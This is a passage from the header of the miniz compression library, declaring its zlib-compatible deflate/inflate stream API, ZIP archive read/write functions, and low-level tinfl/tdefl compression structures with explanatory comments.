-4, MZ_BUF_ERROR = -5, MZ_VERSION_ERROR = -6, MZ_PARAM_ERROR = -10000 }; // Compression levels: 0-9 are the standard zlib-style levels, 10 is best possible compression (not zlib compatible, and may be very slow), MZ_DEFAULT_COMPRESSION=MZ_DEFAULT_LEVEL. enum { MZ_NO_COMPRESSION = 0, MZ_BEST_SPEED = 1, MZ_BEST_COMPRESSION = 9, MZ_UBER_COMPRESSION = 10, MZ_DEFAULT_LEVEL = 6, MZ_DEFAULT_COMPRESSION = -1 }; // Window bits #define MZ_DEFAULT_WINDOW_BITS 15 struct mz_internal_state; // Compression/decompression stream struct. typedef struct mz_stream_s { const unsigned char *next_in; // pointer to next byte to read unsigned int avail_in; // number of bytes available at next_in mz_ulong total_in; // total number of bytes consumed so far unsigned char *next_out; // pointer to next byte to write unsigned int avail_out; // number of bytes that can be written to next_out mz_ulong total_out; // total number of bytes produced so far char *msg; // error msg (unused) struct mz_internal_state *state; // internal state, allocated by zalloc/zfree mz_alloc_func zalloc; // optional heap allocation function (defaults to malloc) mz_free_func zfree; // optional heap free function (defaults to free) void *opaque; // heap alloc function user pointer int data_type; // data_type (unused) mz_ulong adler; // adler32 of the source or uncompressed data mz_ulong reserved; // not used } mz_stream; typedef mz_stream *mz_streamp; // Returns the version string of miniz.c. const char *mz_version(void); // mz_deflateInit() initializes a compressor with default options: // Parameters: // pStream must point to an initialized mz_stream struct. // level must be between [MZ_NO_COMPRESSION, MZ_BEST_COMPRESSION]. // level 1 enables a specially optimized compression function that's been optimized purely for performance, not ratio. // (This special func. is currently only enabled when MINIZ_USE_UNALIGNED_LOADS_AND_STORES and MINIZ_LITTLE_ENDIAN are defined.) // Return values: // MZ_OK on success. // MZ_STREAM_ERROR if the stream is bogus. // MZ_PARAM_ERROR if the input parameters are bogus. // MZ_MEM_ERROR on out of memory. int mz_deflateInit(mz_streamp pStream, int level); // mz_deflateInit2() is like mz_deflate(), except with more control: // Additional parameters: // method must be MZ_DEFLATED // window_bits must be MZ_DEFAULT_WINDOW_BITS (to wrap the deflate stream with zlib header/adler-32 footer) or -MZ_DEFAULT_WINDOW_BITS (raw deflate/no header or footer) // mem_level must be between [1, 9] (it's checked but ignored by miniz.c) int mz_deflateInit2(mz_streamp pStream, int level, int method, int window_bits, int mem_level, int strategy); // Quickly resets a compressor without having to reallocate anything. Same as calling mz_deflateEnd() followed by mz_deflateInit()/mz_deflateInit2(). int mz_deflateReset(mz_streamp pStream); // mz_deflate() compresses the input to output, consuming as much of the input and producing as much output as possible. // Parameters: // pStream is the stream to read from and write to. You must initialize/update the next_in, avail_in, next_out, and avail_out members. // flush may be MZ_NO_FLUSH, MZ_PARTIAL_FLUSH/MZ_SYNC_FLUSH, MZ_FULL_FLUSH, or MZ_FINISH. // Return values: // MZ_OK on success (when flushing, or if more input is needed but not available, and/or there's more output to be written but the output buffer is full). // MZ_STREAM_END if all input has been consumed and all output bytes have been written. Don't call mz_deflate() on the stream anymore. // MZ_STREAM_ERROR if the stream is bogus. // MZ_PARAM_ERROR if one of the parameters is invalid. // MZ_BUF_ERROR if no forward progress is possible because the input and/or output buffers are empty. (Fill up the input buffer or free up some output space and try again.) int mz_deflate(mz_streamp pStream, int flush); // mz_deflateEnd() deinitializes a compressor: // Return values: // MZ_OK on success. // MZ_STREAM_ERROR if the stream is bogus. int mz_deflateEnd(mz_streamp pStream); // mz_deflateBound() returns a (very) conservative upper bound on the amount of data that could be generated by deflate(), assuming flush is set to only MZ_NO_FLUSH or MZ_FINISH. mz_ulong mz_deflateBound(mz_streamp pStream, mz_ulong source_len); // Single-call compression functions mz_compress() and mz_compress2(): // Returns MZ_OK on success, or one of the error codes from mz_deflate() on failure. int mz_compress(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len); int mz_compress2(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len, int level); // mz_compressBound() returns a (very) conservative upper bound on the amount of data that could be generated by calling mz_compress(). mz_ulong mz_compressBound(mz_ulong source_len); // Initializes a decompressor. int mz_inflateInit(mz_streamp pStream); // mz_inflateInit2() is like mz_inflateInit() with an additional option that controls the window size and whether or not the stream has been wrapped with a zlib header/footer: // window_bits must be MZ_DEFAULT_WINDOW_BITS (to parse zlib header/footer) or -MZ_DEFAULT_WINDOW_BITS (raw deflate). int mz_inflateInit2(mz_streamp pStream, int window_bits); // Decompresses the input stream to the output, consuming only as much of the input as needed, and writing as much to the output as possible. // Parameters: // pStream is the stream to read from and write to. You must initialize/update the next_in, avail_in, next_out, and avail_out members. // flush may be MZ_NO_FLUSH, MZ_SYNC_FLUSH, or MZ_FINISH. // On the first call, if flush is MZ_FINISH it's assumed the input and output buffers are both sized large enough to decompress the entire stream in a single call (this is slightly faster). // MZ_FINISH implies that there are no more source bytes available beside what's already in the input buffer, and that the output buffer is large enough to hold the rest of the decompressed data. // Return values: // MZ_OK on success. Either more input is needed but not available, and/or there's more output to be written but the output buffer is full. // MZ_STREAM_END if all needed input has been consumed and all output bytes have been written. For zlib streams, the adler-32 of the decompressed data has also been verified. // MZ_STREAM_ERROR if the stream is bogus. // MZ_DATA_ERROR if the deflate stream is invalid. // MZ_PARAM_ERROR if one of the parameters is invalid. // MZ_BUF_ERROR if no forward progress is possible because the input buffer is empty but the inflater needs more input to continue, or if the output buffer is not large enough. Call mz_inflate() again // with more input data, or with more room in the output buffer (except when using single call decompression, described above). int mz_inflate(mz_streamp pStream, int flush); // Deinitializes a decompressor. int mz_inflateEnd(mz_streamp pStream); // Single-call decompression. // Returns MZ_OK on success, or one of the error codes from mz_inflate() on failure. int mz_uncompress(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len); // Returns a string description of the specified error code, or NULL if the error code is invalid. const char *mz_error(int err); // Redefine zlib-compatible names to miniz equivalents, so miniz.c can be used as a drop-in replacement for the subset of zlib that miniz.c supports. // Define MINIZ_NO_ZLIB_COMPATIBLE_NAMES to disable zlib-compatibility if you use zlib in the same project. #ifndef MINIZ_NO_ZLIB_COMPATIBLE_NAMES typedef unsigned char Byte; typedef unsigned int uInt; typedef mz_ulong uLong; typedef Byte Bytef; typedef uInt uIntf; typedef char charf; typedef int intf; typedef void *voidpf; typedef uLong uLongf; typedef void *voidp; typedef void *const voidpc; #define Z_NULL 0 #define Z_NO_FLUSH MZ_NO_FLUSH #define Z_PARTIAL_FLUSH MZ_PARTIAL_FLUSH #define Z_SYNC_FLUSH MZ_SYNC_FLUSH #define Z_FULL_FLUSH MZ_FULL_FLUSH #define Z_FINISH MZ_FINISH #define Z_BLOCK MZ_BLOCK #define Z_OK MZ_OK #define Z_STREAM_END MZ_STREAM_END #define Z_NEED_DICT MZ_NEED_DICT #define Z_ERRNO MZ_ERRNO #define Z_STREAM_ERROR MZ_STREAM_ERROR #define Z_DATA_ERROR MZ_DATA_ERROR #define Z_MEM_ERROR MZ_MEM_ERROR #define Z_BUF_ERROR MZ_BUF_ERROR #define Z_VERSION_ERROR MZ_VERSION_ERROR #define Z_PARAM_ERROR MZ_PARAM_ERROR #define Z_NO_COMPRESSION MZ_NO_COMPRESSION #define Z_BEST_SPEED MZ_BEST_SPEED #define Z_BEST_COMPRESSION MZ_BEST_COMPRESSION #define Z_DEFAULT_COMPRESSION MZ_DEFAULT_COMPRESSION #define Z_DEFAULT_STRATEGY MZ_DEFAULT_STRATEGY #define Z_FILTERED MZ_FILTERED #define Z_HUFFMAN_ONLY MZ_HUFFMAN_ONLY #define Z_RLE MZ_RLE #define Z_FIXED MZ_FIXED #define Z_DEFLATED MZ_DEFLATED #define Z_DEFAULT_WINDOW_BITS MZ_DEFAULT_WINDOW_BITS #define alloc_func mz_alloc_func #define free_func mz_free_func #define internal_state mz_internal_state #define z_stream mz_stream #define deflateInit mz_deflateInit #define deflateInit2 mz_deflateInit2 #define deflateReset mz_deflateReset #define deflate mz_deflate #define deflateEnd mz_deflateEnd #define deflateBound mz_deflateBound #define compress mz_compress #define compress2 mz_compress2 #define compressBound mz_compressBound #define inflateInit mz_inflateInit #define inflateInit2 mz_inflateInit2 #define inflate mz_inflate #define inflateEnd mz_inflateEnd #define uncompress mz_uncompress #define crc32 mz_crc32 #define adler32 mz_adler32 #define MAX_WBITS 15 #define MAX_MEM_LEVEL 9 #define zError mz_error #define ZLIB_VERSION MZ_VERSION #define ZLIB_VERNUM MZ_VERNUM #define ZLIB_VER_MAJOR MZ_VER_MAJOR #define ZLIB_VER_MINOR MZ_VER_MINOR #define ZLIB_VER_REVISION MZ_VER_REVISION #define ZLIB_VER_SUBREVISION MZ_VER_SUBREVISION #define zlibVersion mz_version #define zlib_version mz_version() #endif // #ifndef MINIZ_NO_ZLIB_COMPATIBLE_NAMES #endif // MINIZ_NO_ZLIB_APIS // ------------------- Types and macros typedef unsigned char mz_uint8; typedef signed short mz_int16; typedef unsigned short mz_uint16; typedef unsigned int mz_uint32; typedef unsigned int mz_uint; typedef long long mz_int64; typedef unsigned long long mz_uint64; typedef int mz_bool; #define MZ_FALSE (0) #define MZ_TRUE (1) // An attempt to work around MSVC's spammy "warning C4127: conditional expression is constant" message. #ifdef _MSC_VER #define MZ_MACRO_END while (0, 0) #else #define MZ_MACRO_END while (0) #endif // ------------------- ZIP archive reading/writing #ifndef MINIZ_NO_ARCHIVE_APIS enum { MZ_ZIP_MAX_IO_BUF_SIZE = 64*1024, MZ_ZIP_MAX_ARCHIVE_FILENAME_SIZE = 260, MZ_ZIP_MAX_ARCHIVE_FILE_COMMENT_SIZE = 256 }; typedef struct { mz_uint32 m_file_index; mz_uint32 m_central_dir_ofs; mz_uint16 m_version_made_by; mz_uint16 m_version_needed; mz_uint16 m_bit_flag; mz_uint16 m_method; #ifndef MINIZ_NO_TIME time_t m_time; #endif mz_uint32 m_crc32; mz_uint64 m_comp_size; mz_uint64 m_uncomp_size; mz_uint16 m_internal_attr; mz_uint32 m_external_attr; mz_uint64 m_local_header_ofs; mz_uint32 m_comment_size; char m_filename[MZ_ZIP_MAX_ARCHIVE_FILENAME_SIZE]; char m_comment[MZ_ZIP_MAX_ARCHIVE_FILE_COMMENT_SIZE]; } mz_zip_archive_file_stat; typedef size_t (*mz_file_read_func)(void *pOpaque, mz_uint64 file_ofs, void *pBuf, size_t n); typedef size_t (*mz_file_write_func)(void *pOpaque, mz_uint64 file_ofs, const void *pBuf, size_t n); struct mz_zip_internal_state_tag; typedef struct mz_zip_internal_state_tag mz_zip_internal_state; typedef enum { MZ_ZIP_MODE_INVALID = 0, MZ_ZIP_MODE_READING = 1, MZ_ZIP_MODE_WRITING = 2, MZ_ZIP_MODE_WRITING_HAS_BEEN_FINALIZED = 3 } mz_zip_mode; typedef struct mz_zip_archive_tag { mz_uint64 m_archive_size; mz_uint64 m_central_directory_file_ofs; mz_uint m_total_files; mz_zip_mode m_zip_mode; mz_uint m_file_offset_alignment; mz_alloc_func m_pAlloc; mz_free_func m_pFree; mz_realloc_func m_pRealloc; void *m_pAlloc_opaque; mz_file_read_func m_pRead; mz_file_write_func m_pWrite; void *m_pIO_opaque; mz_zip_internal_state *m_pState; } mz_zip_archive; typedef enum { MZ_ZIP_FLAG_CASE_SENSITIVE = 0x0100, MZ_ZIP_FLAG_IGNORE_PATH = 0x0200, MZ_ZIP_FLAG_COMPRESSED_DATA = 0x0400, MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY = 0x0800 } mz_zip_flags; // ZIP archive reading // Inits a ZIP archive reader. // These functions read and validate the archive's central directory. mz_bool mz_zip_reader_init(mz_zip_archive *pZip, mz_uint64 size, mz_uint32 flags); mz_bool mz_zip_reader_init_mem(mz_zip_archive *pZip, const void *pMem, size_t size, mz_uint32 flags); #ifndef MINIZ_NO_STDIO mz_bool mz_zip_reader_init_file(mz_zip_archive *pZip, const char *pFilename, mz_uint32 flags); #endif // Returns the total number of files in the archive. mz_uint mz_zip_reader_get_num_files(mz_zip_archive *pZip); // Returns detailed information about an archive file entry. mz_bool mz_zip_reader_file_stat(mz_zip_archive *pZip, mz_uint file_index, mz_zip_archive_file_stat *pStat); // Determines if an archive file entry is a directory entry. mz_bool mz_zip_reader_is_file_a_directory(mz_zip_archive *pZip, mz_uint file_index); mz_bool mz_zip_reader_is_file_encrypted(mz_zip_archive *pZip, mz_uint file_index); // Retrieves the filename of an archive file entry. // Returns the number of bytes written to pFilename, or if filename_buf_size is 0 this function returns the number of bytes needed to fully store the filename. mz_uint mz_zip_reader_get_filename(mz_zip_archive *pZip, mz_uint file_index, char *pFilename, mz_uint filename_buf_size); // Attempts to locates a file in the archive's central directory. // Valid flags: MZ_ZIP_FLAG_CASE_SENSITIVE, MZ_ZIP_FLAG_IGNORE_PATH // Returns -1 if the file cannot be found. int mz_zip_reader_locate_file(mz_zip_archive *pZip, const char *pName, const char *pComment, mz_uint flags); // Extracts a archive file to a memory buffer using no memory allocation. mz_bool mz_zip_reader_extract_to_mem_no_alloc(mz_zip_archive *pZip, mz_uint file_index, void *pBuf, size_t buf_size, mz_uint flags, void *pUser_read_buf, size_t user_read_buf_size); mz_bool mz_zip_reader_extract_file_to_mem_no_alloc(mz_zip_archive *pZip, const char *pFilename, void *pBuf, size_t buf_size, mz_uint flags, void *pUser_read_buf, size_t user_read_buf_size); // Extracts a archive file to a memory buffer. mz_bool mz_zip_reader_extract_to_mem(mz_zip_archive *pZip, mz_uint file_index, void *pBuf, size_t buf_size, mz_uint flags); mz_bool mz_zip_reader_extract_file_to_mem(mz_zip_archive *pZip, const char *pFilename, void *pBuf, size_t buf_size, mz_uint flags); // Extracts a archive file to a dynamically allocated heap buffer. void *mz_zip_reader_extract_to_heap(mz_zip_archive *pZip, mz_uint file_index, size_t *pSize, mz_uint flags); void *mz_zip_reader_extract_file_to_heap(mz_zip_archive *pZip, const char *pFilename, size_t *pSize, mz_uint flags); // Extracts a archive file using a callback function to output the file's data. mz_bool mz_zip_reader_extract_to_callback(mz_zip_archive *pZip, mz_uint file_index, mz_file_write_func pCallback, void *pOpaque, mz_uint flags); mz_bool mz_zip_reader_extract_file_to_callback(mz_zip_archive *pZip, const char *pFilename, mz_file_write_func pCallback, void *pOpaque, mz_uint flags); #ifndef MINIZ_NO_STDIO // Extracts a archive file to a disk file and sets its last accessed and modified times. // This function only extracts files, not archive directory records. mz_bool mz_zip_reader_extract_to_file(mz_zip_archive *pZip, mz_uint file_index, const char *pDst_filename, mz_uint flags); mz_bool mz_zip_reader_extract_file_to_file(mz_zip_archive *pZip, const char *pArchive_filename, const char *pDst_filename, mz_uint flags); #endif // Ends archive reading, freeing all allocations, and closing the input archive file if mz_zip_reader_init_file() was used. mz_bool mz_zip_reader_end(mz_zip_archive *pZip); // ZIP archive writing #ifndef MINIZ_NO_ARCHIVE_WRITING_APIS // Inits a ZIP archive writer. mz_bool mz_zip_writer_init(mz_zip_archive *pZip, mz_uint64 existing_size); mz_bool mz_zip_writer_init_heap(mz_zip_archive *pZip, size_t size_to_reserve_at_beginning, size_t initial_allocation_size); #ifndef MINIZ_NO_STDIO mz_bool mz_zip_writer_init_file(mz_zip_archive *pZip, const char *pFilename, mz_uint64 size_to_reserve_at_beginning); #endif // Converts a ZIP archive reader object into a writer object, to allow efficient in-place file appends to occur on an existing archive. // For archives opened using mz_zip_reader_init_file, pFilename must be the archive's filename so it can be reopened for writing. If the file can't be reopened, mz_zip_reader_end() will be called. // For archives opened using mz_zip_reader_init_mem, the memory block must be growable using the realloc callback (which defaults to realloc unless you've overridden it). // Finally, for archives opened using mz_zip_reader_init, the mz_zip_archive's user provided m_pWrite function cannot be NULL. // Note: In-place archive modification is not recommended unless you know what you're doing, because if execution stops or something goes wrong before // the archive is finalized the file's central directory will be hosed. mz_bool mz_zip_writer_init_from_reader(mz_zip_archive *pZip, const char *pFilename); // Adds the contents of a memory buffer to an archive. These functions record the current local time into the archive. // To add a directory entry, call this method with an archive name ending in a forwardslash with empty buffer. // level_and_flags - compression level (0-10, see MZ_BEST_SPEED, MZ_BEST_COMPRESSION, etc.) logically OR'd with zero or more mz_zip_flags, or just set to MZ_DEFAULT_COMPRESSION. mz_bool mz_zip_writer_add_mem(mz_zip_archive *pZip, const char *pArchive_name, const void *pBuf, size_t buf_size, mz_uint level_and_flags); mz_bool mz_zip_writer_add_mem_ex(mz_zip_archive *pZip, const char *pArchive_name, const void *pBuf, size_t buf_size, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags, mz_uint64 uncomp_size, mz_uint32 uncomp_crc32); #ifndef MINIZ_NO_STDIO // Adds the contents of a disk file to an archive. This function also records the disk file's modified time into the archive. // level_and_flags - compression level (0-10, see MZ_BEST_SPEED, MZ_BEST_COMPRESSION, etc.) logically OR'd with zero or more mz_zip_flags, or just set to MZ_DEFAULT_COMPRESSION. mz_bool mz_zip_writer_add_file(mz_zip_archive *pZip, const char *pArchive_name, const char *pSrc_filename, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags); #endif // Adds a file to an archive by fully cloning the data from another archive. // This function fully clones the source file's compressed data (no recompression), along with its full filename, extra data, and comment fields. mz_bool mz_zip_writer_add_from_zip_reader(mz_zip_archive *pZip, mz_zip_archive *pSource_zip, mz_uint file_index); // Finalizes the archive by writing the central directory records followed by the end of central directory record. // After an archive is finalized, the only valid call on the mz_zip_archive struct is mz_zip_writer_end(). // An archive must be manually finalized by calling this function for it to be valid. mz_bool mz_zip_writer_finalize_archive(mz_zip_archive *pZip); mz_bool mz_zip_writer_finalize_heap_archive(mz_zip_archive *pZip, void **pBuf, size_t *pSize); // Ends archive writing, freeing all allocations, and closing the output file if mz_zip_writer_init_file() was used. // Note for the archive to be valid, it must have been finalized before ending. mz_bool mz_zip_writer_end(mz_zip_archive *pZip); // Misc. high-level helper functions: // mz_zip_add_mem_to_archive_file_in_place() efficiently (but not atomically) appends a memory blob to a ZIP archive. // level_and_flags - compression level (0-10, see MZ_BEST_SPEED, MZ_BEST_COMPRESSION, etc.) logically OR'd with zero or more mz_zip_flags, or just set to MZ_DEFAULT_COMPRESSION. mz_bool mz_zip_add_mem_to_archive_file_in_place(const char *pZip_filename, const char *pArchive_name, const void *pBuf, size_t buf_size, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags); // Reads a single file from an archive into a heap block. // Returns NULL on failure. void *mz_zip_extract_archive_file_to_heap(const char *pZip_filename, const char *pArchive_name, size_t *pSize, mz_uint zip_flags); #endif // #ifndef MINIZ_NO_ARCHIVE_WRITING_APIS #endif // #ifndef MINIZ_NO_ARCHIVE_APIS // ------------------- Low-level Decompression API Definitions // Decompression flags used by tinfl_decompress(). // TINFL_FLAG_PARSE_ZLIB_HEADER: If set, the input has a valid zlib header and ends with an adler32 checksum (it's a valid zlib stream). Otherwise, the input is a raw deflate stream. // TINFL_FLAG_HAS_MORE_INPUT: If set, there are more input bytes available beyond the end of the supplied input buffer. If clear, the input buffer contains all remaining input. // TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF: If set, the output buffer is large enough to hold the entire decompressed stream. If clear, the output buffer is at least the size of the dictionary (typically 32KB). // TINFL_FLAG_COMPUTE_ADLER32: Force adler-32 checksum computation of the decompressed bytes. enum { TINFL_FLAG_PARSE_ZLIB_HEADER = 1, TINFL_FLAG_HAS_MORE_INPUT = 2, TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF = 4, TINFL_FLAG_COMPUTE_ADLER32 = 8 }; // High level decompression functions: // tinfl_decompress_mem_to_heap() decompresses a block in memory to a heap block allocated via malloc(). // On entry: // pSrc_buf, src_buf_len: Pointer and size of the Deflate or zlib source data to decompress. // On return: // Function returns a pointer to the decompressed data, or NULL on failure. // *pOut_len will be set to the decompressed data's size, which could be larger than src_buf_len on uncompressible data. // The caller must call mz_free() on the returned block when it's no longer needed. void *tinfl_decompress_mem_to_heap(const void *pSrc_buf, size_t src_buf_len, size_t *pOut_len, int flags); // tinfl_decompress_mem_to_mem() decompresses a block in memory to another block in memory. // Returns TINFL_DECOMPRESS_MEM_TO_MEM_FAILED on failure, or the number of bytes written on success. #define TINFL_DECOMPRESS_MEM_TO_MEM_FAILED ((size_t)(-1)) size_t tinfl_decompress_mem_to_mem(void *pOut_buf, size_t out_buf_len, const void *pSrc_buf, size_t src_buf_len, int flags); // tinfl_decompress_mem_to_callback() decompresses a block in memory to an internal 32KB buffer, and a user provided callback function will be called to flush the buffer. // Returns 1 on success or 0 on failure. typedef int (*tinfl_put_buf_func_ptr)(const void* pBuf, int len, void *pUser); int tinfl_decompress_mem_to_callback(const void *pIn_buf, size_t *pIn_buf_size, tinfl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags); struct tinfl_decompressor_tag; typedef struct tinfl_decompressor_tag tinfl_decompressor; // Max size of LZ dictionary. #define TINFL_LZ_DICT_SIZE 32768 // Return status. typedef enum { TINFL_STATUS_BAD_PARAM = -3, TINFL_STATUS_ADLER32_MISMATCH = -2, TINFL_STATUS_FAILED = -1, TINFL_STATUS_DONE = 0, TINFL_STATUS_NEEDS_MORE_INPUT = 1, TINFL_STATUS_HAS_MORE_OUTPUT = 2 } tinfl_status; // Initializes the decompressor to its initial state. #define tinfl_init(r) do { (r)->m_state = 0; } MZ_MACRO_END #define tinfl_get_adler32(r) (r)->m_check_adler32 // Main low-level decompressor coroutine function. This is the only function actually needed for decompression. All the other functions are just high-level helpers for improved usability. // This is a universal API, i.e. it can be used as a building block to build any desired higher level decompression API. In the limit case, it can be called once per every byte input or output. tinfl_status tinfl_decompress(tinfl_decompressor *r, const mz_uint8 *pIn_buf_next, size_t *pIn_buf_size, mz_uint8 *pOut_buf_start, mz_uint8 *pOut_buf_next, size_t *pOut_buf_size, const mz_uint32 decomp_flags); // Internal/private bits follow. enum { TINFL_MAX_HUFF_TABLES = 3, TINFL_MAX_HUFF_SYMBOLS_0 = 288, TINFL_MAX_HUFF_SYMBOLS_1 = 32, TINFL_MAX_HUFF_SYMBOLS_2 = 19, TINFL_FAST_LOOKUP_BITS = 10, TINFL_FAST_LOOKUP_SIZE = 1 << TINFL_FAST_LOOKUP_BITS }; typedef struct { mz_uint8 m_code_size[TINFL_MAX_HUFF_SYMBOLS_0]; mz_int16 m_look_up[TINFL_FAST_LOOKUP_SIZE], m_tree[TINFL_MAX_HUFF_SYMBOLS_0 * 2]; } tinfl_huff_table; #if MINIZ_HAS_64BIT_REGISTERS #define TINFL_USE_64BIT_BITBUF 1 #endif #if TINFL_USE_64BIT_BITBUF typedef mz_uint64 tinfl_bit_buf_t; #define TINFL_BITBUF_SIZE (64) #else typedef mz_uint32 tinfl_bit_buf_t; #define TINFL_BITBUF_SIZE (32) #endif struct tinfl_decompressor_tag { mz_uint32 m_state, m_num_bits, m_zhdr0, m_zhdr1, m_z_adler32, m_final, m_type, m_check_adler32, m_dist, m_counter, m_num_extra, m_table_sizes[TINFL_MAX_HUFF_TABLES]; tinfl_bit_buf_t m_bit_buf; size_t m_dist_from_out_buf_start; tinfl_huff_table m_tables[TINFL_MAX_HUFF_TABLES]; mz_uint8 m_raw_header[4], m_len_codes[TINFL_MAX_HUFF_SYMBOLS_0 + TINFL_MAX_HUFF_SYMBOLS_1 + 137]; }; // ------------------- Low-level Compression API Definitions // Set TDEFL_LESS_MEMORY to 1 to use less memory (compression will be slightly slower, and raw/dynamic blocks will be output more frequently). #define TDEFL_LESS_MEMORY 0 // tdefl_init() compression flags logically OR'd together (low 12 bits contain the max. number of probes per dictionary search): // TDEFL_DEFAULT_MAX_PROBES: The compressor defaults to 128 dictionary probes per dictionary search. 0=Huffman only, 1=Huffman+LZ (fastest/crap compression), 4095=Huffman+LZ (slowest/best compression). enum { TDEFL_HUFFMAN_ONLY = 0, TDEFL_DEFAULT_MAX_PROBES = 128, TDEFL_MAX_PROBES_MASK = 0xFFF }; // TDEFL_WRITE_ZLIB_HEADER: If set, the compressor outputs a zlib header before the deflate data, and the Adler-32 of the source data at the end. Otherwise, you'll get raw deflate data. // TDEFL_COMPUTE_ADLER32: Always compute the adler-32 of the input data (even when not writing zlib headers). // TDEFL_GREEDY_PARSING_FLAG: Set to use faster greedy parsing, instead of more efficient lazy parsing. // TDEFL_NONDETERMINISTIC_PARSING_FLAG: Enable to decrease the compressor's initialization time to the minimum, but the output may vary from run to run given the same input (depending on the contents of memory). // TDEFL_RLE_MATCHES: Only look for RLE matches (matches with a distance of 1) // TDEFL_FILTER_MATCHES: Discards matches <= 5 chars if enabled. // TDEFL_FORCE_ALL_STATIC_BLOCKS: Disable usage of optimized Huffman tables. // TDEFL_FORCE_ALL_RAW_BLOCKS: Only use raw (uncompressed) deflate blocks. // The low 12 bits are reserved to control the max # of hash probes per dictionary lookup (see TDEFL_MAX_PROBES_MASK). enum { TDEFL_WRITE_ZLIB_HEADER = 0x01000, TDEFL_COMPUTE_ADLER32 = 0x02000, TDEFL_GREEDY_PARSING_FLAG = 0x04000, TDEFL_NONDETERMINISTIC_PARSING_FLAG = 0x08000, TDEFL_RLE_MATCHES = 0x10000, TDEFL_FILTER_MATCHES = 0x20000, TDEFL_FORCE_ALL_STATIC_BLOCKS = 0x40000, TDEFL_FORCE_ALL_RAW_BLOCKS = 0x80000 }; // High level compression functions: // tdefl_compress_mem_to_heap() compresses a block in memory to a heap block allocated via malloc(). // On entry: // pSrc_buf, src_buf_len: Pointer and size of source block to compress. // flags: The max match finder probes (default is 128) logically OR'd against the above flags. Higher probes are slower but improve compression. // On return: // Function returns a pointer to the compressed data, or NULL on failure. // *pOut_len will be set to the compressed data's size, which could be larger than src_buf_len on uncompressible data. // The caller must free() the returned block when it's no longer needed. void *tdefl_compress_mem_to_heap(const void *pSrc_buf, size_t src_buf_len, size_t *pOut_len, int flags); // tdefl_compress_mem_to_mem() compresses a block in memory to another block in memory. // Returns 0 on failure. size_t tdefl_compress_mem_to_mem(void *pOut_buf, size_t out_buf_len, const void *pSrc_buf, size_t src_buf_len, int flags); // Compresses an image to a compressed PNG file in memory. // On entry: // pImage, w, h, and num_chans describe the image to compress. num_chans may be 1, 2, 3, or 4. // The image pitch in bytes per scanline will be w*num_chans. The leftmost pixel on the top scanline is stored first in memory. // level may range from [0,10], use MZ_NO_COMPRESSION, MZ_BEST_SPEED, MZ_BEST_COMPRESSION, etc. or a decent default is MZ_DEFAULT_LEVEL // If flip is true, the image will be flipped on the Y axis (useful for OpenGL apps). // On return: // Function returns a pointer to the compressed data, or NULL on failure. // *pLen_out will be set to the size of the PNG image file. // The caller must mz_free() the returned heap block (which will typically be larger than *pLen_out) when it's no longer needed. void *tdefl_write_image_to_png_file_in_memory_ex(const void *pImage, int w, int h, int num_chans, size_t *pLen_out, mz_uint level, mz_bool flip); void *tdefl_write_image_to_png_file_in_memory(const void *pImage, int w, int h, int num_chans, size_t *pLen_out); // Output stream interface. The compressor uses this interface to write compressed data. It'll typically be called TDEFL_OUT_BUF_SIZE at a time. typedef mz_bool (*tdefl_put_buf_func_ptr)(const void* pBuf, int len, void *pUser); // tdefl_compress_mem_to_output() compresses a block to an output stream. The above helpers use this function internally. mz_bool tdefl_compress_mem_to_output(const void *pBuf, size_t buf_len, tdefl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags); enum { TDEFL_MAX_HUFF_TABLES = 3, TDEFL_MAX_HUFF_SYMBOLS_0 = 288, TDEFL_MAX_HUFF_SYMBOLS_1 = 32, TDEFL_MAX_HUFF_SYMBOLS_2 = 19, TDEFL_LZ_DICT_SIZE = 32768, TDEFL_LZ_DICT_SIZE_MASK = TDEFL_LZ_DICT_SIZE - 1, TDEFL_MIN_MATCH_LEN = 3, TDEFL_MAX_MATCH_LEN = 258 }; // TDEFL_OUT_BUF_SIZE MUST be large enough to hold a single entire compressed output block (using static/fixed Huffman codes). #if TDEFL_LESS_MEMORY enum { TDEFL_LZ_CODE_BUF_SIZE = 24 * 1024, TDEFL_OUT_BUF_SIZE = (TDEFL_LZ_CODE_BUF_SIZE * 13 ) / 10, TDEFL_MAX_HUFF_SYMBOLS = 288, TDEFL_LZ_HASH_BITS = 12, TDEFL_LEVEL1_HASH_SIZE_MASK = 4095, TDEFL_LZ_HASH_SHIFT = (TDEFL_LZ_HASH_BITS + 2) / 3, TDEFL_LZ_HASH_SIZE = 1 << TDEFL_LZ_HASH_BITS }; #else enum { TDEFL_LZ_CODE_BUF_SIZE = 64 * 1024, TDEFL_OUT_BUF_SIZE = (TDEFL_LZ_CODE_BUF_SIZE * 13 ) / 10, TDEFL_MAX_HUFF_SYMBOLS = 288, TDEFL_LZ_HASH_BITS = 15, TDEFL_LEVEL1_HASH_SIZE_MASK = 4095, TDEFL_LZ_HASH_SHIFT = (TDEFL_LZ_HASH_BITS + 2) / 3, TDEFL_LZ_HASH_SIZE = 1 << TDEFL_LZ_HASH_BITS }; #endif // The low-level tdefl functions below may be used directly if the above helper functions aren't flexible enough. The low-level functions don't make any heap allocations, unlike the above helper functions. typedef enum { TDEFL_STATUS_BAD_PARAM = -2, TDEFL_STATUS_PUT_BUF_FAILED = -1, TDEFL_STATUS_OKAY = 0, TDEFL_STATUS_DONE = 1, } tdefl_status; // Must map to MZ_NO_FLUSH, MZ_SYNC_FLUSH, etc. enums typedef enum { TDEFL_NO_FLUSH = 0, TDEFL_SYNC_FLUSH = 2, TDEFL_FULL_FLUSH = 3, TDEFL_FINISH = 4 } tdefl_flush; // tdefl's compression state structure. typedef struct { tdefl_put_buf_func_ptr m_pPut_buf_func; void *m_pPut_buf_user; mz_uint m_flags, m_max_probes[2]; int m_greedy_parsing; mz_uint m_adler32, m_lookahead_pos, m_lookahead_size, m_dict_size; mz_uint8 *m_pLZ_code_buf, *m_pLZ_flags, *m_pOutput_buf, *m_pOutput_buf_end; mz_uint m_num_flags_left, 